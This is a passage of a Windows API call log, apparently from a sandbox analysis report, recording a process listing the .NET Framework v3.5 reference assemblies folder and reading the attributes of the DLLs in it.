	[0055.458] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1
	[0055.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1
	[0055.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.461] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.462] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Conversion.v3.5.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.conversion.v3.5.dll"), fInfoLevelId=0x0, lpFileInformation=0x123edd68 | out: lpFileInformation=0x123edd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000)) returned 1
	[0055.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Engine.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.engine.dll"), fInfoLevelId=0x0, lpFileInformation=0x123eddb8 | out: lpFileInformation=0x123eddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000)) returned 1
	[0055.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Framework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.framework.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ede08 | out: lpFileInformation=0x123ede08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000)) returned 1
	[0055.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.Build.Utilities.v3.5.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.build.utilities.v3.5.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ede58 | out: lpFileInformation=0x123ede58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000)) returned 1
	[0055.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\Microsoft.VisualC.STLCLR.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\microsoft.visualc.stlclr.dll"), fInfoLevelId=0x0, lpFileInformation=0x123edea8 | out: lpFileInformation=0x123edea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400)) returned 1
	[0055.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x123edef8 | out: lpFileInformation=0x123edef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.464] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
